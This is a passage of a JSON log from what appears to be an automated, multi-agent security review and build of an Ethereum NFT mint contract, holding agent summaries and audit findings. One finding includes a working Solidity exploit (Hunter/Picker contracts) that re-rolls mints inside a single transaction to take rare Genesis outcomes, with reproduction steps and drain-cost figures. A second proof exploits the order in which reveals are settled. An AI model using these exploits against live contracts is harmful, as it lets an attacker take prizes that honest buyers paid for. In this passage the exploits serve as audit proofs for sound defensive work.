page"}],"hash":"49db1fd5b6e90ed58500e26d486c16601dbfb19c355310561d4b7024cb725fc8","nodeId":"dab05d47-1386-4d7e-b4be-09c0029f981f","outcome":"completed","summary":"Findings file written and verified against the tree. Recap:\n\n**Settled from the previous round**\n- **Mystery outcome selection (high, cfb1eeea): fixed.** The held proof now passes on the revised code (300 in-block attempts obtain nothing and burn nothing), the flow specialist's capture proof no longer completes, and my own scratch test shows the outcome of a token minted in block n varies with the hash of block n+1, which does not exist at mint time. Commit-reveal closes observe-and-revert, simulate-then-send and helper-contract re-rolls.\n- **No on-chain launch gate (medium, b5ce1446): fixed.** On chain id 1 the contract deploys closed, both mints revert until the owner's one-way `openMinting()`, and nothing can close it again. Factory and gate tests pass.\n- **Mystery unreachable if Genesis stalls (info): settled as accepted design.** It still reproduces, but it is the brief's sequential design, and the disclosure I suggested is now on the mint page and in the README.\n\n**Reported this round** (in `.imd-findings.json`)\n1. **Low:** a successor token's outcome depends on whether its predecessor was settled naturally or force-settled after its window, contradicting the \"does not depend on when\" claim in the reveal NatSpec, docs and website. The specialist's proof fails on the current code and is attached. Impact is small and needs a 27-hour quiet window.\n2. **Low:** renouncing or mis-transferring ownership before `openMinting()` on mainnet bricks the collection permanently. Reproduced in a scratch test.\n3. **Info:** `reveal(460)` on a fully pending collection costs about 29.5M gas; keepers should bound the batch.\n4. **Info:** `BurnMismatch` reports the supply delta even when the balance delta failed, so the revert can read as equal values.\n5. **Info:** the accepted-design note above, recorded as settled.\n\n**Coverage:** all 11 entry points answered, plus three invariant rows. The full project suite passes (80 tests, 2 fork tests skipped offline). Nothing outside `test/scratch/` and the findings file was changed.","treeHash":null,"usage":{"cachedInputTokens":931447,"inputTokens":322,"model":"claude-fable-5-1","outputTokens":20477,"runtime":"claude","turns":20,"wallClockMs":373689}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"9812c5faf226f7c7","findings":[{"citation":"resolved","description":"Economic Security / Flow Gap (execution x periphery x first principles). mintMystery() burns 350,000 BMC, draws the outcome from a word that is fully known inside the same transaction (prevrandao, previous block hash, timestamp, this, msg.sender, tokenId), writes the tier and artwork to storage in _draw(), and only then calls _safeMint(). The outcome is therefore observable through tierOf(tokenId) (and through onERC721Received) before the transaction ends, and a revert rolls back the burn. Because msg.sender is an entropy input, a caller that wants a different draw does not even need a new block: it deploys a throwaway child contract, moves exactly one mint price into it, has the child call mintMystery() and revert unless tierOf(id) == Genesis, catches the revert and repeats with the next child. Every reverted attempt costs only gas; every successful attempt is a guaranteed Mystery Genesis for the same 350,000 BMC an ordinary buyer pays for an 8.04% (37/460) inventory share. Concrete economics: in the attached test one transaction funded with exactly 350,000 BMC obtained Mystery Genesis #41 on the 13th in-block re-roll for 7.6M gas total (about 0.0076 ETH at 1 gwei). Draining all 37 Mystery Genesis needs on average sum_{j=1..37}(423+j)/j = 37 + 423*H(37) ~ 1,800 reverted attempts, roughly 1e9 gas, i.e. about 1 ETH at 1 gwei, for 37 x 350,000 = 12.95M BMC that is the same price everyone pays. After that the remaining 423 Mystery buyers burn 148M BMC with a 0% chance at the Genesis tier that the page lists as part of the pool. No contract is required for a weaker form of the same selection: prevrandao, the previous block hash and the next timestamp are known as soon as the previous block is published, so any EOA can compute the draw for its own address and tokenId off-chain and simply not send when it is Standard. The brief asks for block-derived randomness and the website discloses that it is manipulable; docs/SECURITY-REVIEW.md records receiver reverts as an accepted risk. This finding is reported anyway because the mechanism is not the weakness of block entropy in general but a specific, cheap and certain selection path that the contract's own structure enables, and because it can be closed without leaving the requested design: settle the draw from entropy that does not exist yet when the burn happens. Minimal fix that keeps 'block-derived randomness, not VRF': mintMystery() burns, mints the token id with Tier.Pending and records commitBlock = block.number; a separate reveal(tokenId), callable by anyone from block commitBlock+1 onward, derives the word from blockhash(commitBlock + 1) (with a documented fallback, e.g. the latest available blockhash, if more than 256 blocks pass) and only then runs _draw(). The RevealStatus enum and pendingReveals() view already exist for exactly this shape. Validators can still bias one block's hash, which the disclosure should keep saying, but no buyer can observe-and-revert, and no buyer can precompute the outcome before paying.","line":155,"path":"src/BMCIlluminatiPass.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IERC721Receiver} from \"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {ERC20Burnable} from \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\";\nimport {BMCIlluminatiPass} from \"src/BMCIlluminatiPass.sol\";\n\n/// @dev Same semantics as the live BMC token: plain OpenZeppelin ERC20Burnable, 18 decimals.\ncontract ProofBMC is ERC20, ERC20Burnable {\n    constructor() ERC20(\"BMC Illuminati\", \"BMC\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// @dev One throwaway minter. A fresh address changes `msg.sender` in the entropy word, so every\n///      child is a fresh draw inside the same block. If the draw is not Genesis it reverts, which\n///      rolls back the 350,000 BMC burn and the mint.\ncontract Picker is IERC721Receiver {\n    BMCIlluminatiPass immutable pass;\n    ProofBMC immutable bmc;\n    address immutable parent;\n\n    constructor(BMCIlluminatiPass p, ProofBMC t) {\n        pass = p;\n        bmc = t;\n        parent = msg.sender;\n    }\n\n    function tryGenesis(uint256 price) external returns (uint256 id) {\n        bmc.transferFrom(parent, address(this), price);\n        bmc.approve(address(pass), price);\n        id = pass.mintMystery();\n        // Outcome is final and readable before the transaction ends: keep only a Genesis.\n        require(pass.tierOf(id) == BMCIlluminatiPass.Tier.Genesis, \"standard: roll back the burn\");\n    }\n\n    function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) {\n        return IERC721Receiver.onERC721Received.selector;\n    }\n}\n\ncontract Hunter {\n    BMCIlluminatiPass immutable pass;\n    ProofBMC immutable bmc;\n\n    constructor(BMCIlluminatiPass p, ProofBMC t) {\n        pass = p;\n        bmc = t;\n    }\n\n    /// @notice One transaction: re-roll with fresh senders until the draw is a Genesis.\n    function hunt(uint256 price, uint256 maxTries) external returns (uint256 id, uint256 tries) {\n        for (tries = 1; tries <= maxTries; tries++) {\n            Picker p = new Picker(pass, bmc);\n            bmc.approve(address(p), price);\n            try p.tryGenesis(price) returns (uint256 got) {\n                return (got, tries);\n            } catch {}\n        }\n        return (0, tries - 1);\n    }\n}\n\ncontract MysteryOutcomeSelectionTest is Test {\n    uint256 constant GENESIS_PRICE = 1_000_000e18;\n    uint256 constant MYSTERY_PRICE = 350_000e18;\n\n    ProofBMC bmc;\n    BMCIlluminatiPass pass;\n\n    function setUp() public {\n        bmc = new ProofBMC();\n        pass = new BMCIlluminatiPass(makeAddr(\"owner\"), address(bmc));\n        // Honest buyers finish the Genesis phase.\n        for (uint256 i = 0; i < 40; i++) {\n            address who = address(uint160(0x1000 + i));\n            bmc.mint(who, GENESIS_PRICE);\n            vm.startPrank(who);\n            bmc.approve(address(pass), GENESIS_PRICE);\n            pass.mintGenesis();\n            vm.stopPrank();\n        }\n        assertEq(pass.totalMinted(), 40);\n    }\n\n    /// Fails on the current code: a single transaction funded with exactly one mint price obtains a\n    /// Mystery Genesis with certainty, so the advertised 37-in-460 inventory draw is selectable by\n    /// anyone who can deploy a contract. Passes once the outcome can no longer be observed and\n    /// reverted inside the minting transaction (for example a draw settled from a later block hash).\n    function test_CallerCannotSelectGenesisOutcomeAtomically() public {\n        Hunter hunter = new Hunter(pass, bmc);\n        bmc.mint(address(hunter), MYSTERY_PRICE); // exactly one mint's worth of BMC\n\n        (uint256 id, uint256 tries) = hunter.hunt(MYSTERY_PRICE, 300);\n        emit log_named_uint(\"attempts needed\", tries);\n        emit log_named_uint(\"token id obtained\", id);\n\n        // Expected: no caller can guarantee a Genesis draw; the pool's Genesis count is untouched by\n        // a selective minter and total BMC burned by the hunt is at most what one Mystery mint costs.\n        assertEq(pass.mysteryGenesisRevealed(), 0, \"a selective caller took a Mystery Genesis with certainty\");\n    }\n}","reproduction":"State: 40 Genesis mints done (totalMinted == 40), BMC is a plain OpenZeppelin ERC20Burnable (as on mainnet). Attacker contract H holds exactly 350,000e18 BMC. Call H.hunt(350_000e18, 300) in one transaction: loop { P = new Picker(); bmc.approve(P, price); try P.tryGenesis(price) { P: bmc.transferFrom(H, P, price); bmc.approve(pass, price); id = pass.mintMystery(); require(pass.tierOf(id) == Tier.Genesis); } catch { continue } }. Expected: no caller can make a Mystery Genesis certain; the number of Genesis outcomes taken by a selective minter should be 0 (or at worst what the ~8% draw gives). Actual (forge test --match-path test/scratch/MysteryOutcomeSelection.t.sol): attempts needed: 13, token id obtained: 41, pass.mysteryGenesisRevealed() == 1, H spent exactly 350,000 BMC; the 12 reverted attempts burned nothing. Repeating the call drains the other 36 Mystery Genesis the same way.","severity":"high","snippet":"        uint256 word = uint256(keccak256(abi.encode(\n            block.prevrandao,\n            block.number == 0 ? bytes32(0) : blockhash(block.number - 1),\n            block.timestamp,\n            address(this),\n            msg.sender,\n            tokenId\n        )));","title":"Mystery draw is selectable inside the minting transaction: any contract caller takes Genesis outcomes with certainty for gas, so honest buyers pay 350,000 BMC for a 37/460 draw that sophisticated mint"},{"citation":"resolved","description":"Invariant / Economic Security (starved capacity). The only transition into the Mystery phase is totalMinted reaching 40, which requires 40 separate burns of 1,000,000 BMC (40M BMC, about 4% of the 988M BMC circulating on 2026-10-12). There is no time-based or owner-triggered phase advance, and the contract deliberately gives the owner no powers, so if demand at 1,000,000 BMC per Genesis stalls at any count below 40 the Mystery phase, its 460 tokens, the 37 Mystery Genesis artworks and 161M BMC of the advertised 201M BMC maximum burn are permanently unreachable. The website shows 'NFTs minted out of 500' and 'remaining supply' as if all 500 were reachable; remainingMysteryMints() reports 460 during phase 1 regardless of whether phase 1 can finish. This is a consequence of the brief's sequential-phase design rather than a coding error, so a fix needs a scope decision (for example an owner- or deadline-triggered close of the Genesis phase that converts unsold Genesis slots into Mystery pool entries, or simply documenting on the mint page that Mystery opens only after all 40 Genesis sell). Reported so the requester decides knowingly.","line":150,"path":"src/BMCIlluminatiPass.sol","reproduction":"State: 39 Genesis mints completed (totalMinted == 39); no further buyer is willing to burn 1,000,000 BMC. Any account with 350,000 BMC and allowance calls mintMystery(). Expected (per the mint page): Mystery tokens 41-500 available for 350,000 BMC. Actual: revert GenesisPhaseNotOver() on every call, forever; currentPrice() stays 1,000,000e18; remainingMysteryMints() still returns 460. No function or role can change this state.","severity":"low","snippet":"        if (totalMinted < GENESIS_PHASE_SUPPLY) revert GenesisPhaseNotOver();","title":"Mystery phase can never open if the Genesis phase does not sell out: 460 Mystery tokens (including all 37 Mystery Genesis artworks) are unreachable with no fallback"}],"hash":"4e744288acfca59f16d71051892dad93a54139fac9e6197ff957f5fdbd7acb58","nodeId":"12867983-244b-43c0-838b-4e4f4a2d45e7","outcome":"completed","summary":"The review is complete. Findings and coverage are in `.imd-findings.json`; no repository files were changed, and the only new files are the findings record and the scratch proof test, both ignored by git.\n\n**Scope covered.** I read the Senior Auditor's Mindset and the Economic Security, Invariant and Flow Gap guides, then traced both mint paths, the exact-burn guard, the virtual Fisher-Yates draw, the phase gates and the ERC-721 and ownership entry points. I also verified the periphery directly: the live BMC token's Sourcify-verified source is a plain OpenZeppelin ERC20Burnable with no fee, pause, blocklist or owner, the two mainnet-fork tests pass against it at a current block, and the IPFS directory contains all 77 expected Genesis filenames. The website's approve-then-mint flow approves exactly the current price to the pass contract only.\n\n**Findings.**\n\n- **High. Mystery outcomes are selectable inside the minting transaction** (`src/BMCIlluminatiPass.sol:155`). The draw is computed from values fully known in the same transaction, written to storage, and only then minted. A caller can deploy a throwaway child per attempt, have it mint and revert unless `tierOf` says Genesis, and repeat with fresh senders in one block. The proof test under `test/scratch/` obtained Mystery Genesis #41 on the 13th in-block re-roll, funded with a single mint price, and fails on the current code. Draining all 37 Mystery Genesis costs about 1,800 reverted calls of gas, after which the remaining 423 buyers burn 148M BMC with no chance at that tier. The author documents receiver reverts as accepted risk, but the fix stays within the requested block-random design: burn and mint as Pending, then settle the draw from a later block hash in a separate reveal call.\n\n- **Low. The Mystery phase can never open if the Genesis phase stalls** (`src/BMCIlluminatiPass.sol:150`). With totalMinted stuck at 39, every `mintMystery` call reverts forever and 460 tokens are unreachable, with no owner or time fallback. This follows from the brief's sequential design, so it is reported for a scope decision rather than as a coding error.\n\n**Coverage.** All nine listed entry points have rows: `mintMystery` as finding 1, the other eight as holds, plus rows for the burn-conservation invariant, the permutation invariant, the phase-gate invariant (finding 2), the live token, the IPFS directory and the website value flow. Nothing in my area was left unreached.","treeHash":null,"usage":{"cachedInputTokens":995435,"inputTokens":322,"model":"claude-fable-5-1","outputTokens":28446,"runtime":"claude","turns":29,"wallClockMs":429505}},{"artifacts":[],"attempt":1,"bundleHash":"b5b806c0644a5f741f41c44f59a73f52bf6f25d7900455a78faf5de23939082d","device":"e35a3abed04af1ac","findings":[],"hash":"6376e714d705937eefef1553a4411a2802fe8ce913d443c7d7b6d4701819b72a","nodeId":"229bc010-239f-416d-84a1-0fd897f3441e","outcome":"completed","summary":"Added failure-path, fuzz, and stateful invariant tests under `test/`.\n\n- `forge build` passed.\n- `forge test`: 59 passed; 4 optional fork tests skipped.\n- All 4 mainnet fork tests passed separately.\n- Existing website and Python checks passed.\n\nNo implementation defects reproduced. Coverage and reproduction commands are in [test/TESTING.md](test/TESTING.md).","treeHash":"0a33b23884d7d2ad7b662e41a0cd7385f54dfc77","usage":{"cachedInputTokens":3040896,"inputTokens":147219,"model":"gpt-6-astra","outputTokens":29381,"runtime":"codex","turns":10,"wallClockMs":771850}},{"artifacts":[],"attempt":1,"bundleHash":"e959cc17fb92b3839d9f3e7174a7d36f02db1a57e46436dbfdeaaf912bbd4cb1","device":"410247426ec5a6df","findings":[],"hash":"6ba618abbb45ea5b8a4eae7232e813ed955e210605255467e65148c82849f1ec","nodeId":"c24ea001-99b4-497f-bd53-13c7cd602d5b","outcome":"completed","summary":"Both reopened findings reproduced and are fixed, the advisory note is answered, and every suite passes.\n\n**Finding cfb1eeea (high, held proof) — fixed.** The proof failed on the accepted tree exactly as reported (Genesis #41 taken on the 13th in-block attempt). Mystery is now commit-reveal in `src/BMCIlluminatiPass.sol`: the mint burns and issues a pending pass recording its block, and a permissionless `reveal(maxCount)` settles passes in mint order from the hash of the block after the mint block. The caller, prevrandao and timestamp are no longer entropy inputs, so observe-and-revert, simulate-then-send and helper-contract re-rolls all stop working. The reveal hash is readable natively for 256 blocks and through the EIP-2935 history contract for 8,191 blocks. After that a pass settles as Standard, so delaying a reveal never pays and nobody can be stranded. The proof now passes, backed by nine new regressions.\n\n**Finding b5ce1446 (medium) — fixed.** On chain id 1 the contract deploys closed and both mint functions revert until the owner's one-way `openMinting()`. Nothing can close or pause it afterwards and the open state survives renunciation. The gate is scoped to chain id 1 because the held proof constructs with two arguments and mints in its own setUp, so an unconditional gate would break it in setup. This is stated in the responses and ADAPTATION.md.\n\n**Finding 7c97fe79 (info) — disputed.** The Genesis-then-Mystery sequence is the brief's design, so the contract is unchanged. The mint page now states that Mystery opens only after all 40 Genesis sell.\n\n**Website** follows the new flow: it reads the pending count and gate with the pinned stats, refuses writes while closed, sends a separate reveal after the next block, shows the unrevealed state, and offers \"Reveal pending passes\". The risk disclosure now names the reveal-block proposer as the remaining bias and the 27-hour window with its Standard fallback.\n\nVerification results:\n\n| Check | Result |\n| --- | --- |\n| `forge build`, runtime size | OK, 21,458 bytes |\n| `forge test` | 46 passed, 2 fork tests skipped offline |\n| Held proof copied to scratch | passes |\n| Fork tests on machine RPC, block 26179236 | 2 passed, real BMC burn, gate and reveal |\n| `node --test test/website/*.test.cjs` | 38 passed, Anvil 500-mint with reveals |\n| ABI freshness, tool tests, `git diff --check` | OK |\n\nAnswers are in `.imd-responses.json`. Operators should run a periodic reveal keeper, which `docs/LAUNCH.md` now describes alongside the owner's opening step.","treeHash":"14ac190334557056eefc8e36278726bbc8153b5d","usage":{"cachedInputTokens":2900077,"inputTokens":578,"model":"claude-fable-5-1","outputTokens":77447,"runtime":"claude","turns":40,"wallClockMs":1092556}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"584bd638e7e022f0","findings":[],"hash":"77b7d753de8e9f59b1406b6d68b8efbb71f5737cf652b9a943906710998fd22a","nodeId":"229bc010-239f-416d-84a1-0fd897f3441e","outcome":"failed","summary":"could not restore accepted work: accepted work conflicts with a dependency that changed the same files after it was accepted: ","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":null,"outputTokens":0,"runtime":"claude","turns":0,"wallClockMs":4452}},{"artifacts":[],"attempt":1,"bundleHash":"d515d047ff49d09f9c446d3fc260df8ebefa25dd5760e7da4f1e5fed420b07db","device":"5d667e4b0751bcb5","findings":[],"hash":"8046fd7579fe3e1faa2d7938a38bd14446d971ce32e6d19ab4e82a5becc874d2","nodeId":"a90116ee-59fa-4d75-a1d7-88f61a11a733","outcome":"completed","summary":"The revision is complete. Only launch.json changed, and the build and test suite pass.\n\n**What was stale.** The accepted contract was revised after the manifest was written. It gained a one-way owner-only launch gate and a next-block commit-reveal for Mystery outcomes. The old notes said the contract had no on-chain launch gate, that ownership carried no privileges, and that receiver contracts could revert unwanted outcomes. All three claims now contradict the accepted source.\n\n**What I changed.** The contract entry and both constructor arguments are untouched. They still match the compiled constructor, which takes an owner address and the BMC token address. Only the notes were rewritten so they describe the accepted implementation:\n\n- On chain 1 the contract deploys closed, and both mint functions revert until the owner sends a single one-way opening call. That is the owner's only power and it survives ownership renunciation.\n- Mystery outcomes settle through a permissionless reveal call from the hash of the block after the mint block, in mint order. A pass not revealed inside the 8,191-block window settles as Standard.\n- Block-derived randomness is still manipulable by the reveal block proposer and builders, and must not be advertised as tamper-proof.\n- The manifest neither deploys nor authorizes minting. The site stays in pre-launch until the address, bytecode, review and authorization are confirmed, after which the owner opens minting.\n\n**Verification.** A scratch script confirmed the manifest has exactly the schema keys, one unique valid identifier, string arguments, an argument count equal to the constructor's two address parameters, and notes under the limit.\n\n| Check | Result |\n| --- | --- |\n| forge build | successful |\n| forge test | 46 passed, 0 failed, 2 skipped |\n\nThe two skipped tests are the mainnet fork tests, which need an RPC URL and are skipped by design.","treeHash":"c10848dbb4dc0597fbabd766a24a6a6238876a37","usage":{"cachedInputTokens":405063,"inputTokens":258,"model":"claude-fable-5-1","outputTokens":5767,"runtime":"claude","turns":9,"wallClockMs":91923}},{"artifacts":[],"attempt":1,"bundleHash":"692cd937f668f3d127c58566dcec60f38dc73701977a60fd0892c1eb41811fa8","device":"4f869706aca73507","findings":[],"hash":"9eefe571c157d5b1659530ec0a019886e04bb5ce40cae01927d530615439fcc6","nodeId":"a90116ee-59fa-4d75-a1d7-88f61a11a733","outcome":"completed","summary":"Created `launch.json` for `BMCIlluminatiPass` with `$owner` and the supplied BMC token address, matching the accepted constructor ABI.\n\nValidation: `forge build` passed; `forge test` reported 34 passed, 0 failed, and 2 fork tests skipped.\n\nOnly `launch.json` changed. No deployment or public-mint activation occurred.","treeHash":"7479ec29b9268b4a9e1b8817a0339b34b7fa4b16","usage":{"cachedInputTokens":212608,"inputTokens":23833,"model":"gpt-6.1-sol","outputTokens":1567,"runtime":"codex","turns":3,"wallClockMs":63810}},{"artifacts":[],"attempt":1,"bundleHash":"d0c379f131393e1ba53dca4b70b3321ca19f9b54604cfb8dca9bc9efeeb3d896","device":"6ea221d017084baf","findings":[],"hash":"9f076d8f6deb1b29da5b49583428b060f34e4860a38fbedd805faeda4e378020","nodeId":"c24ea001-99b4-497f-bd53-13c7cd602d5b","outcome":"completed","summary":"Implemented locally: preserved the existing site assets, added `/mint`, fixed the reproduced audit issues, and verified all 77 Genesis images.\n\nValidation passed: `forge build`, `forge test`, both mainnet-fork tests, protected factory checks, 33 JavaScript tests, and 3 Python tests.\n\nMinting remains disabled pending finalized-source confirmation, verified deployment, and explicit launch approval. Nothing was deployed or published.\n\nChanges and audit dispositions are documented in [ADAPTATION.md](/home/imd5/.identitymd/work/c365fa20-6fba-42d5-b73f-6d4050abce8f/c24ea001-99b4-497f-bd53-13c7cd602d5b/ADAPTATION.md).","treeHash":"20261ba3c608b5b7dc984a8bcedac39df08b1912","usage":{"cachedInputTokens":4324480,"inputTokens":183474,"model":"gpt-6-astra","outputTokens":64646,"runtime":"codex","turns":12,"wallClockMs":1540627}},{"artifacts":[],"attempt":1,"bundleHash":"739bec5624577f196e6f360015640f6a831dd720a2ace5b0623db7949845a1e3","device":"a31e321b410aaa02","findings":[{"description":"reveal() settles tokens in mint order from a shared Fisher-Yates pool. A token settled from its reveal-block hash (_draw) removes slot `hash % remaining`; the same token settled after its window (_drawStandard) removes a different slot chosen from keccak(address(this), tokenId). Both paths leave the pool in a different arrangement, so a later token B whose own reveal hash is fixed can receive different artwork (and in principle a different tier, when the differing slot is a Genesis slot) depending on which path its predecessor A took. The contract header (lines 29-32) states that 'delaying a reveal can never improve an outcome': that holds for the delayed token itself (A can only lose) but not for B. Anyone who can keep A unrevealed for A's whole window (27 hours with the history contract, 256 blocks without it) and who can compute both candidate outcomes for B, chooses the better one for B by revealing before or after A's deadline. Exploitation needs a quiet window in which nobody else calls reveal (the website auto-reveals after each mint, which mitigates it), and the divergence probability per predecessor is roughly 2/remaining (about 0.5% in the reproduction), so this is low severity, but the fairness statement in the NatSpec, docs/SECURITY-REVIEW.md and the website copy should be corrected: in-order settlement does not make a successor's outcome independent of how its predecessors were settled.","line":205,"path":"src/BMCIlluminatiPass.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {ERC20Burnable} from \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\";\nimport {BMCIlluminatiPass} from \"src/BMCIlluminatiPass.sol\";\n\ncontract ProofBMC is ERC20, ERC20Burnable {\n    constructor() ERC20(\"BMC\", \"BMC\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// @notice A settled Mystery outcome is documented as depending only on the token's own reveal-block\n///         hash, and the NatSpec says \"delaying a reveal can never improve an outcome\". This test shows\n///         that token B's outcome also depends on whether its predecessor A was settled from A's hash\n///         (inside A's window) or force-settled as Standard after A's window expired: the two paths\n///         remove different slots from the shared pool, so B draws different artwork (or tier) for the\n///         same B hash. Whoever can keep A unrevealed for the whole window therefore chooses between two\n///         outcomes for B. Fails on the current code; passes once B's outcome no longer depends on\n///         the settlement path of its predecessors (or once the forced path is removed/redesigned).\ncontract Proof_SuccessorOutcomeDependsOnPredecessorPath is Test {\n    uint256 constant GENESIS_PRICE = 1_000_000e18;\n    uint256 constant MYSTERY_PRICE = 350_000e18;\n    ProofBMC bmc;\n    BMCIlluminatiPass pass;\n    address alice = makeAddr(\"alice\");\n    address bob = makeAddr(\"bob\");\n\n    function setUp() public {\n        bmc = new ProofBMC();\n        pass = new BMCIlluminatiPass(makeAddr(\"owner\"), address(bmc));\n        for (uint256 i; i < 40; ++i) {\n            address who = address(uint160(0x7000 + i));\n            bmc.mint(who, GENESIS_PRICE);\n            vm.startPrank(who);\n            bmc.approve(address(pass), GENESIS_PRICE);\n            pass.mintGenesis();\n            vm.stopPrank();\n        }\n    }\n\n    function _mintMysteryAs(address who) internal returns (uint256 id) {\n        bmc.mint(who, MYSTERY_PRICE);\n        vm.startPrank(who);\n        bmc.approve(address(pass), MYSTERY_PRICE);\n        id = pass.mintMystery();\n        vm.stopPrank();\n    }\n\n    function _outcome(uint256 id) internal view returns (bytes32) {\n        return keccak256(abi.encode(pass.tierOf(id), pass.artworkIdOf(id)));\n    }\n\n    function test_SuccessorOutcomeIsIndependentOfPredecessorSettlementPath() public {\n        uint256 n = block.number;\n        uint256 a = _mintMysteryAs(alice); // reveal block n + 1\n        vm.roll(n + 100);\n        uint256 b = _mintMysteryAs(bob); // reveal block n + 101\n        vm.setBlockhash(n + 1, keccak256(\"A\"));\n        uint256 base = vm.snapshotState();\n        uint256 divergent;\n        for (uint256 i; i < 400; ++i) {\n            bytes32 hb = keccak256(abi.encode(\"B\", i));\n            // Path 1: both inside their windows (A age 199, B age 99): A and B settle from their hashes.\n            vm.revertToState(base);\n            vm.roll(n + 200);\n            vm.setBlockhash(n + 101, hb);\n            pass.reveal(2);\n            bytes32 bNatural = _outcome(b);\n            // Path 2: nobody revealed for 300 blocks (A age 299 > 256, no history contract): A is\n            // force-settled as Standard, B (age 199) still settles from the same hash hb.\n            vm.revertToState(base);\n            vm.roll(n + 300);\n            vm.setBlockhash(n + 101, hb);\n            pass.reveal(2);\n            assertEq(uint8(pass.tierOf(a)), uint8(BMCIlluminatiPass.Tier.Standard), \"A forced\");\n            if (_outcome(b) != bNatural) divergent++;\n        }\n        // Seed 34 is one concrete case: B gets Standard #423 on path 1 and Standard #418 on path 2.\n        assertEq(divergent, 0, \"B's outcome changed with A's settlement path for the same B hash\");\n    }\n}","reproduction":"After phase 1, Alice mints token 41 at block n (reveal block n+1) and Bob mints token 42 at block n+100 (reveal block n+101). Fix blockhash(n+1)=keccak('A') and blockhash(n+101)=keccak(abi.encode('B', 34)). Path 1: call reveal(2) at block n+200 (both inside the native window): token 41 settles Standard #418, token 42 settles Standard #423. Path 2: call reveal(2) at block n+300 (token 41 is 299 blocks old, no history contract, so it is force-settled; token 42 is 199 blocks old and settles from the same hash): token 41 settles Standard #109, token 42 settles Standard #418. Expected (per the NatSpec): token 42's outcome is a function of its own reveal hash only, identical on both paths. Actual: token 42 receives different artwork on the two paths; over 400 candidate hashes for block n+101, 2 give a different outcome for token 42. Run: forge test --match-path test/scratch/Proof_SuccessorOutcome.t.sol (fails on the current code with '2 != 0').","severity":"low","title":"A pending Mystery token's outcome depends on whether its predecessors were settled inside their window or force-settled after it, so the NatSpec claim that delaying a reveal can never improve an outco"},{"description":"On Ethereum mainnet mintingOpen starts false and only the owner can set it, one way. The inherited OpenZeppelin Ownable still exposes renounceOwnership() and transferOwnership(address) with no guard tied to the gate, so a renounce (or a transfer to an address nobody controls) executed before the single openMinting() call makes both mint functions revert MintingNotOpen permanently: no one can ever burn BMC for a pass and the deployment must be redone. This is the only operational action that can brick the launch; it costs nothing to prevent by refusing renounceOwnership while the gate is closed (or by opening in the same step). docs/LAUNCH.md should at least warn that the owner must not renounce before opening.","line":158,"path":"src/BMCIlluminatiPass.sol","reproduction":"vm.chainId(1); deploy BMCIlluminatiPass(owner, bmc); as owner call renounceOwnership(); then as the former owner call openMinting(): reverts OwnableUnauthorizedAccount(owner); mintingOpen() stays false; a funded, approved user calling mintGenesis() reverts MintingNotOpen. Expected: a one-way gate that can still be opened by the project (or a renounce that is refused while closed). Actual: the collection can never open. Scratch test test_RenounceBeforeOpenBricksMainnetDeployment in test/scratch/Findings.t.sol reproduces it.","severity":"low","title":"Renouncing or mis-transferring ownership before openMinting() on chain id 1 leaves the collection closed forever with no recovery"},{"description":"If all 460 Mystery passes are minted before anyone reveals (the existing test_FullMintOutInSameBlockThenBatchReveal scenario), a single reveal(460) measured 29,456,061 gas on the natural path and 30,480,110 gas on the forced path; reveal(50) costs about 3.77M. The call is bounded by maxCount so nothing is stuck, and the website already caps a reveal at 50 passes, but any other integrator calling reveal(type(uint256).max) will hit the block gas limit on mainnet when hundreds of passes are pending. Document a maximum safe batch (about 400 at a 36M limit, fewer with a lower limit) for third-party revealers.","line":205,"path":"src/BMCIlluminatiPass.sol","reproduction":"After phase 1 mint 460 Mystery passes in one block, roll two blocks, call reveal(460) and measure gasleft() before and after: ~29.46M gas. Roll 8,193 blocks instead (forced path): ~30.48M gas. Measured by test_GasRevealAll460InOneCall in test/scratch/Findings.t.sol.","severity":"info","title":"reveal(460) for a fully pending collection costs about 29.5M gas (30.5M when forced), close to the block gas limit"},{"description":"_burnExact reverts BurnMismatch(amount, supplyDelta) when either supplyDelta or balanceDelta differs from amount. When a token burns the right amount from the wrong account, supplyDelta equals amount and the error reads BurnMismatch(1000000e18, 1000000e18), which looks like a non-mismatch to anyone decoding the revert. Reporting both deltas (or the one that failed) would make the website's error display and incident analysis unambiguous. No funds are at risk: the mint still reverts and nothing is burned.","line":245,"path":"src/BMCIlluminatiPass.sol","reproduction":"Deploy the pass against test/mocks/MisbehavingBMC.sol in mode BurnFromOther with a funded victim; a funded, approved minter calls mintGenesis(). Expected: a revert naming the balance mismatch (payer delta 0). Actual: revert BurnMismatch(1000000000000000000000000, 1000000000000000000000000). Covered by test_TokenBurningFromSomebodyElseIsRejected in test/BMCIlluminatiPassEdges.t.sol, which asserts only that the mint reverts with BurnMismatch and that no balance moves.","severity":"info","title":"BurnMismatch reports the supply delta as 'actual' even when it was the payer's balance delta that failed the check"}],"hash":"a1181188c10abfc1a28fd28632383566d8dffde4f042a6ca89ebbd28457b4487","nodeId":"229bc010-239f-416d-84a1-0fd897f3441e","outcome":"completed","summary":"Done. The full suite passes offline, and four findings are reported in the findings file rather than asserted as correct.\n\n**What I added** (new files only, under `test/`; no existing test, config or lib file was touched, which is what broke the previous attempt's restore):\n\n- `test/invariants/PassHandler.sol`: a handler that drives the pass with four actors through Genesis and Mystery mints, batch mints, underfunded mints, a switchable misbehaving payment token, reveals, block advancement, window expiry, token transfers and gate calls. Every action decides up front whether the call must succeed or revert, asserts that, checks nothing changed on rejection, and keeps ghost accounting.\n- `test/invariants/BMCIlluminatiPass.invariants.t.sol`: three suites over random sequences with fail-on-revert enabled. Rehearsal-chain deployment, a deployment with an EIP-2935 history stand-in, and the mainnet-gated deployment on chain id 1. Invariants cover BMC conservation (supply fell by exactly the recorded burn, the pass never holds BMC), burn equals 